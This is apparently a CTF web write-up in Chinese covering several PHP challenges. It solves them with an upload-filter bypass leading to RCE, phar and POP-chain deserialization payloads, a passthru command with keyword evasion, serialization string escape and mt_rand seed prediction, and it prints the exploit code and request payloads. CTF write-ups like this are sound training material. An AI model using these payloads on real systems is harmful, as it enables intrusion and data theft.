本文最后更新于 2025-06-14T19:25:18+08:00
ez_upload
文件上传题,在源码中得到被注释的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 $sandbox = '/var/www/html/upload/' . md5 ("phpIsBest" . $_SERVER ['REMOTE_ADDR' ]); @mkdir ($sandbox ); @chdir ($sandbox );if (!empty ($_FILES ['file' ])) { if (!in_array ($_FILES ['file' ]['type' ], ['image/jpeg' , 'image/png' , 'image/gif' ])) { die ('This type is not allowed!' ); } $file = empty ($_POST ['filename' ]) ? $_FILES ['file' ]['name' ] : $_POST ['filename' ]; if (!is_array ($file )) { $file = explode ('.' , strtolower ($file )); } $ext = end ($file ); if (!in_array ($ext , ['jpg' , 'png' , 'gif' ])) { die ('This file is not allowed!' ); } $filename = reset ($file ) . '.' . $file [count ($file ) - 1 ]; if (move_uploaded_file ($_FILES ['file' ]['tmp_name' ], $sandbox . '/' . $filename )) { echo 'Success!' ; echo 'filepath:' . $sandbox . '/' . $filename ; } else { echo 'Failed!' ; } }
和文件上传靶场的第21关相似
1 2 3 4 5 if (!empty ($_FILES ['file' ])) { if (!in_array ($_FILES ['file' ]['type' ], ['image/jpeg' , 'image/png' , 'image/gif' ])) { die ('This type is not allowed!' ); }
先会检查MIME头,要求为图片中一个
1 2 3 4 5 6 7 8 9 $file = empty ($_POST ['filename' ]) ? $_FILES ['file' ]['name' ] : $_POST ['filename' ];if (!is_array ($file )) { $file = explode ('.' , strtolower ($file )); }$ext = end ($file );if (!in_array ($ext , ['jpg' , 'png' , 'gif' ])) { die ('This file is not allowed!' ); }
如果上传的表单中提供了filename
参数,会将其作为文件名,否则就会使用原始文件名,然后会将文件名转化为小写并按照.
进行分隔为数组,提取最后的一个元素作为文件的扩展名,并验证其是否为图片格式
1 2 3 4 5 6 7 8 $filename = reset ($file ) . '.' . $file [count ($file ) - 1 ]; if (move_uploaded_file ($_FILES ['file' ]['tmp_name' ], $sandbox . '/' . $filename )) { echo 'Success!' ; echo 'filepath:' . $sandbox . '/' . $filename ; } else { echo 'Failed!' ; } }
最后构建最终的文件名
1 $filename = reset($file) . '.' . $file[count($file) - 1];
reset($file)
将数组内部指针指向第一个元素并返回该元素的值,这里就是获取的文件名的第一个部分,不包含扩展名,如:对于a.php
,获取的就是a
$file[count($file) - 1]
是获取数组的最后一个元素,就是文件的扩展名
可以构建filename
为数组[0 => 'a.php/', 2 => 'jpg']
,这里jpg
的索引是2,没有设置索引为1的,所以最终构造出的就是a.php/.
可以成功绕过
首先添加filename参数,利用bp抓包
可以直接复制粘贴,构造filename
为数组形式
直接浏览器访问进行RCE
1 /upload/ 883 e9b372445bca575a39b59f6e96a99/a.php/ ?a=system('cat /flag' );
ez?upload2 这题和 XYCTF2024 的 pharme 那题很像,同样的做法
pharme的WP:https://blog.csdn.net/qq_42557115/article/details/138267583
可以文件上传,在源码中得到提示:class.php
访问发现可以进行phar反序列化,源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php error_reporting (0 );highlight_file (__FILE__ );class hacker { public $cmd ; public $a ; public function __destruct ( ) { if ('hahaha' === preg_replace ('/;+/' ,'hahaha' ,preg_replace ('/[A-Za-z_\(\)]+/' ,'' ,$this ->cmd))){ eval ($this ->cmd.'hahaha!' ); } else { echo 'nonono' ; } } }if (isset ($_POST ['file' ])) { if (preg_match ('/^phar:\/\//i' ,$_POST ['file' ])) { die ("nonono" ); } file_get_contents ($_POST ['file' ]); }?>
定义了hacker
类,有两个属性cmd
和a
,还有个__destruct()
魔术方法,在该方法中有个双重正则,这里使用的preg_replace
不会改变cmd
的值
1 preg_replace ('/[A-Za-z_\(\)]+/' ,'' ,$this ->cmd)
内层正则会将cmd
的所有的大小写字母、下划线_
和括号()
换成空,就是删除这些
1 preg_replace ('/;+/' ,'hahaha' , ...)
外层正则会将经过内层正则的cmd
中的一个或多个连续分号替换为hahaha
最后会判断cmd
经过内外正则后是否和hahaha
相等
从这段代码可知要打无参RCE才可以满足以上条件
1 eval ($this ->cmd.'hahaha!' );
在满足以上条件后,会将cmd
和hahaha!
拼接起来,并使用eval
函数执行代码
这里要想利用eval
函数执行命令,首先就是打无参RCE,然后就是要绕过屏蔽掉拼接在后面的hahaha!
,最后phar
反序列化即可
首先是打无参RCE,payload
1 highlight_file (array_rand (array_flip (scandir (chr (ord (strrev (crypt (serialize (array ())))))))));
然后可以利用__halt_compiler();
函数截断后面的hahaha!
__halt_compiler();
函数后面不能有PHP代码,即使有也不会执行
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class hacker { public $cmd ; public $a ; public function __destruct ( ) { if ('hahaha' === preg_replace ('/;+/' ,'hahaha' ,preg_replace ('/[A-Za-z_\(\)]+/' ,'' ,$this ->cmd))){ eval ($this ->cmd.'hahaha!' ); } else { echo 'nonono' ; } } }$a = new hacker ();$a ->cmd = "highlight_file(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))))));__halt_compiler();" ;echo serialize ($a )."\n" ;$phar = new Phar ("hacker.phar" );$phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" );$phar ->setMetadata ($a );$phar ->addFromString ("test.txt" , "test" );$phar ->stopBuffering ();?>
构造序列化payload部分的代码也可以写成如下
1 2 3 4 $a = new hacker ();$a ->a = "highlight_file(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))))));__halt_compiler();" ;$a ->cmd = &$a ->a;echo serialize ($a )."\n" ;
这里使用的$a->cmd = &$a->a;
,最终使cmd
的值和a
相等,只会占用一次存储空间,即a
存储的值,如:
1 2 3 4 $a = new hacker ();$a ->a = "xxx" ;$a ->cmd = &$a ->a;echo serialize ($a );
1 O:6 :"hacker" :2 :{s:3 :"cmd" ;R:2 ;s:1 :"a" ;s:3 :"xxx" ;}
R:2
表示引用第2个字段,即 cmd
实际就是 a
运行exp后得到hacker.phar
文件,上传发现存在过滤
phar发序列化是不论文件名都可以执行的,改后缀名为图片,但是发现对内容有过滤
利用脚本将.phar
压缩为.jpg
图片文件绕过
1 2 3 4 5 6 7 8 9 import gzipwith open ('./hacker.phar' , 'rb' ) as file: data = file.read() ndata = gzip.compress(data)with open ('./hacker.jpg' , 'wb' ) as file: file.write(ndata)
成功上传,得到文件路径:/tmp/9e32fd5eb93d0766e32d9e33cc3ef2d5.jpg
到class.php
中利用POST参数file
打phar反序列化
1 2 3 4 if (preg_match ('/^phar:\/\//i' ,$_POST ['file' ])) { die ("nonono" ); }
但是这里不允许使用phar://
开头,可以在前面加上filter
伪协议绕过
1 file=php:// filter/resource=phar:/ // tmp/9 e32fd5eb93d0766e32d9e33cc3ef2d5.jpg
因为前面打的无参RCE随机读文件,所以要多提交几次,可以利用bp的Intruder插件,在cookie中随便加个参数即可
也可以利用脚本
1 2 3 4 5 6 7 8 9 10 11 12 import requests i = 0 url = "http://27.25.151.40:33883/class.php" while True : i += 1 resp = requests.post(url, data={ 'file' : 'php://filter/resource=phar:///tmp/0412c29576c708cf0155e8de242169b1.jpg' }) if 'flag' in resp.text: print (i) print (resp.text)
最后按照题目要求进行MD5加密
1 flag {221523 FADCCC5041307E75983D8C9E1F}
小猿口算签到重生版
在控制台跑脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 (async () => { let res = await fetch ('/generate' ); let data = await res.json (); let expr = data.expression ; console .log ("拿到的 expression:" , expr); let lhs = expr.split ("=" )[0 ].trim (); console .log ("提取到等式左边:" , lhs); let answer; try { answer = eval (lhs); console .log ("计算得到的答案:" , answer); } catch (e) { console .error ("计算表达式出错:" , e); return ; } res = await fetch ('/verify' , { method : 'POST' , headers : {'Content-Type' : 'application/json' }, body : JSON .stringify ({user_input : String (answer)}) }); data = await res.json (); if (data.flag ) { alert ("恭喜你,答案正确!Flag: " + data.flag ); } else if (data.error ) { alert ("出错啦: " + data.error ); } else { alert ("未知结果: " + JSON .stringify (data)); } })();
lottery签到重生版
bp抓包爆破,总会抽出来
函数重生版 源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php highlight_file (__FILE__ );if (isset ($_GET ['i' ])){ switch (strtolower (substr ($_GET ['i' ],0 ,6 ))){ default : if (!preg_match ('/php|flag|zlib|ftp|system|shell_exec|exec|file_get_contents|proc_open|fopen|fgets|file_put_contents|file|fread|readfile|stream_get_contents|cat|more|tac|\:|\]|\[|\+|\-|\*|\eval|\^|\`|\"|\<|\>|\\|\/|\ssh/i' ,$_GET ['i' ])){ eval ($_GET ['i' ]); }else { die ('error' ); }break ; } }
passthru
函数可以用,cat
和flag
可以用\
绕过,最后找到flag
在/tmp
目录下
1 ?i=passthru('c \at /tmp/fl\ag.sh');
busy_search flag被分成三部分,在源码中的注释部分
pop之我又双叒叕重生了 源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php highlight_file (__FILE__ );class A1 { public $a1 ; public function __construct ( ) { echo "v50 Crazy Thursday v+flag" ; } public function __wakeup ( ) { $this ->a1->get_flag (); } }class A2 { public $a2 = '10086' ; public function get_flag ( ) { echo "flag{" . $this ->a2 . "}" ; } }class A3 { public $a3 ; public function __toString ( ) { $this ->a3->fun (); return " you can + 772019189 to ask answer" ; } }class A4 { public $a4 ; public function fun ( ) { if ($_GET ["2025" ]==="admin" ){ echo "very easy not hard" ; system ("cat ./flag.php" ); echo $cmflag ; } } }if (isset ($_GET ["wlaq" ])){ @unserialize ($_GET ["wlaq" ]); }
思路就是利用A1->__wakeup()
触发A2->get_flag()
,因为该方法中存在将对象当作字符串拼接,所以可以触发A3->__toString()
,最后就可以调用到A4->fun()
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php class A1 { public $a1 ; }class A2 { public $a2 ; }class A3 { public $a3 ; }class A4 { public $a4 ; }$a1 = new A1 ();$a2 = new A2 ();$a3 = new A3 ();$a4 = new A4 ();$a1 ->a1 = $a2 ;$a2 ->a2 = $a3 ;$a3 ->a3 = $a4 ;echo serialize ($a1 );?>
payload部分也可以写成
1 2 3 4 $a1 = new A1 ();$a1 ->a1 = new A2 ();$a1 ->a1->a2 = new A3 ();$a1 ->a1->a2->a3 = new A4 ();
1 O :2 :"A1" :1 :{s:2 :"a1" ;O:2 :"A2" :1 :{s:2 :"a2" ;O:2 :"A3" :1 :{s:2 :"a3" ;O:2 :"A4" :1 :{s:2 :"a4" ;N;}}}}
最后GET传参,记得加上2025
参数,值为admin
1 ? wlaq = O : 2 : "A1" : 1 : { s : 2 : "a1" ; O : 2 : "A2" : 1 : { s : 2 : "a2" ; O : 2 : "A3" : 1 : { s : 2 : "a3" ; O : 2 : "A4" : 1 : { s : 2 : "a4" ; N ; } } } } & 2025 = admin
源码中得到flag
can_u_escape 源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php include ("flag.php" );highlight_file (__FILE__ );function filter ($name ) { $safe =array ("flag" ,"php" ); $name =str_replace ($safe ,"hake" ,$name ); return $name ; }class test { var $user ; var $pass ='daydream' ; function __construct ($user ) { $this ->user=$user ; } }$param =$_GET ['a' ];$param =serialize (new test ($param ));$profile =unserialize (filter ($param ));if ($profile ->pass=='escaping' ){ echo $flag ; }?>
打PHP反序列化字符串增多逃逸
利用php会被替换为hack,逃逸掉后面的";s:4:"pass";s:8:"daydream";}
,一共29个字符,所以需要29个php,然后构造";s:4:"pass";s:8:"escaping";}
1 ?a= phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:" pass";s:8:" escaping";}
give!me!money! 扫目录可以扫出一个index.rar
,访问下载该文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 <?php $success =0 ;$shenhe =0 ;$time =$_GET ['time' ];$money =$_GET ['money' ];if (isset ($_GET ['id' ])) { $id = $_GET ['id' ]; if ($id === 'a' ) { header ("Location: ?id=d&money=648" ); } elseif ($id === 'b' ) { echo "哈哈哈,琼瑰大学生,不要放弃挣扎,乖乖充钱吧!\n" ; } } else { echo "三国杀开启最新活动,充值送flag。充值114514元即可获得阴曹地府将邢甲御,附赠江大新生赛flag\n" ;echo "提示:你的生活费为1000元。发送id=a充值648,发送id=b球球狗卡策划发大学生福利\n" ; echo "快快充钱吧!" ; }if (isset ($_GET ['money' ]) && isset ($_GET ['id' ])){ if ($money <114514 ){ echo "就这点钱还想买武将?" ; } else { $ccc =time (); $ttt =substr ($ccc , 0 , 7 ); mt_srand ($ttt ); for ($i =0 ; $i <= 100 ; $i ++){ if ($i == 100 ){ $shenhe = mt_rand (); } else { mt_rand (); }; } } }$c =$_POST ['c' ];if (isset ($_POST ['c' ]) && $money >= 114514 ){ if ($c == $shenhe ){ $sucess =1 ; echo "" ; } }if ($sucess ==0 && $money >= 114514 ){ echo "开桂了?哪来这么多钱" ; }?>
目标就是满足以下部分
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 import time import subprocess import requests BASE_URL = "http://27.25.151.40:33554/" MONEY = 200000 params = { "id" : "d" , "money" : MONEY, } t0 = int (time.time ()) resp_get = requests.get (BASE_URL, params=params) t1 = int (time.time ())print (f"[+] GET 返回 ({len(resp_get.text)} bytes),开始尝试预测 shenhe…" )for ts in range (t0 - 2 , t1 + 3 ): seed = int (str (ts)[:7 ]) cmd = ( f'php -r "' f'mt_srand({seed});' f'for($i=0;$i<100;$i++) mt_rand();' f'echo mt_rand();"' ) try : shenhe = int (subprocess.check_output (cmd, shell=True)) except Exception as e: continue post = requests.post (BASE_URL, params=params, data={"c" : shenhe}) text = post.text if "开桂了?哪来这么多钱" not in text: print (f"[✔] 成功!预测到 shenhe = {shenhe}" ) print ("服务器返回:" ) print (text) break else : print ("[-] 在给定时间窗口内未能猜中 shenhe,请扩大时间范围或检查 PHP CLI 环境。" )
u_know?
提示shop.php
和kfc.php
先看,shop.php
,源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php highlight_file (__FILE__ );include ("change.php" );$buy =$_GET ['buy' ];$un_buy =unserialize ($buy );$gift1 ="xiaomisu7" ;$gift2 ="redmiK60" ;if (isset ($_GET ['buy' ])){ $gift1 =$anotherthing ; $gift2 =$otherthing ; if ($un_buy ['onething' ]==$gift1 && $un_buy ['twothing' ]==$gift2 ){ echo $flag1 ; echo "谢谢你,你是个好人" ; } else { echo "女神:“哎呀我补药买这个”" ; } }else {echo "给她买什么好呢" ; }?>
可以利用PHP的弱比较特性,在$gift1
和 $gift2
是空字符串、非数字字符串或 "0"
的情况下,可以匹配 0
1 2 3 4 5 6 7 <?php $data = array ( "onething" => 0 , "twothing" => 0 );echo serialize ($data );
1 a :2 :{s:8 :"onething" ;i :0 ;s:8 :"twothing" ;i :0 ;}
1 WW91IGRvbid0IGFjdHVhbGx5IGhhdmUgYSBnaXJsZnJpZW
然后看kfc.php
提示kfc.rar
,访问下载文件,源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php class order { public $start ; function __construct ($start ) { $this ->start = $start ; } function __destruct ( ) { $this ->start->helloworld (); } }class zhengcan { public $lbjjrj ; function __call ($name , $arguments ) { echo $this ->lbjjrj->douzhi; } }class tiandian { function __get ($Attribute ) { echo '' ; } }if (isset ($_GET ['serialize' ])) { unserialize ($_GET ['serialize' ]); } else { echo "使用压缩包点单kfc.rar" ; }
简单的序列化,order->__destruct()
调用不存在的方法helloworld()
从而触发zhengcan->__call()
,然后会调用不存在的属性douzhi
,从而触发tiandian__get()
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class order { public $start ; }class zhengcan { public $lbjjrj ; }class tiandian { }$a = new order ();$a ->start = new zhengcan ();$a ->start->lbjjrj = new tiandian ();echo serialize ($a );?>
1 O :5 :"order" :1 :{s:5 :"start" ;O:8 :"zhengcan" :1 :{s:6 :"lbjjrj" ;O:8 :"tiandian" :0 :{}}}
GET传参
1 ? serialize = O : 5 : "order" : 1 : { s : 5 : "start" ; O : 8 : "zhengcan" : 1 : { s : 6 : "lbjjrj" ; O : 8 : "tiandian" : 0 : { } } }
1 5 kLCBpdCdzIGp1c3QgbXkgaW1hZ2luYXJ5IGN5YmVyIGxpZmU=
将得到的两组字符串拼接起来进行base64解码
1 WW91IGRvbid0IGFjdHVhbGx5IGhhdmUgYSBnaXJsZnJpZW5kLCBpdCdzIGp1c3QgbXkgaW1hZ2luYXJ5IGN5YmVyIGxpZmU =
1 CM{You don't actually have a girlfriend, it's just my imaginary cyber life}